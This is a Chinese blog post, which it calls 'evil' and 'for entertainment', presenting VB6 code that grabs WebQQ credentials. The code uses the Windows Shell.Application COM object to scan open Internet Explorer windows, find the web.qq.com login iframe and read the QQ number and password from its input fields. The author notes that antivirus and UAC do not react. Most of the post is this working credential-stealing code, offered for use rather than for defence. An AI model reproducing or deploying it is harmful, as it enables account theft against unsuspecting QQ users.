鉴于这博客还没有访问量，先发点邪恶的东西。本文纯属娱乐。

这里用到的方法并非键盘记录什么的，而是调用微软提供的相关编程接口，所以安全软件和UAC完全没有反应，兼容性很好~

IE浏览器提供了一个Shell.Application对象，可以获取并控制当前运行的资源管理器窗口IE浏览器。详细的用法请参考MSDN。我们用到的接口有：

Windows集合：用于遍历当前浏览器窗口，包括所有的资源管理器和IE浏览器
document对象：用于访问IE浏览器中的文档内容
locationURL属性：获取浏览器窗口的地址栏内容
getElementById方法：用于获取页面内的元素

思路如下：

1.创建Shell.Application对象的引用。
2.通过Windows集合获取当前所有的浏览器窗口
3.遍历浏览器窗口，通过locationURL属性判断浏览器是否为WEBQQ页面
4.获取浏览器document的内容，getElementById找到密码输入框
5.通过input元素的value属性获取密码框内容

关于密码框，使用Chrome的“审查元素”功能查看文档树结构，可以看到登录框在一个ID为“ifram_login”的iframe框架内。
用户名输入框ID为“u”，密码输入框ID为“p”

代码如下

Option Explicit
Dim oShellApp As Object, oWindows As Object, oWindow As Object, oDoc As Object 

Private Sub Main()
Set oShellApp = CreateObject("shell.application")
On Error Resume Next '容错处理
Do '死循环
DoEvents
Set oWindows = oShellApp.Windows '获取窗口集合 

If (oWindows.Count <> 0) Then
For Each oWindow In oWindows '遍历浏览器窗口
Set oDoc = oWindow.document '获得document 

Dim szURL As String
szURL = LCase$(oWindow.locationURL) '获取网址 

If (Left(szURL, 17) = "http://web.qq.com") Then '找到WEBQQ的页面
If (oDoc.readyState = "complete") Then '判断网页载入完成
Dim iFrame As Object
Set iFrame = oDoc.getElementById("ifram_login").contentWindow '获得iframe框架的内容 

If (iFrame.document.readyState = "complete") Then '判断网页载入完成
Debug.Print "QQNumber: " & iFrame.document.getElementById("u").Value & _
    vbCrLf & "Password: " & iFrame.document.getElementById("p").Value '搞到QQ号码和密码了
End If
End If
End If
Next
End If
Loop
End Sub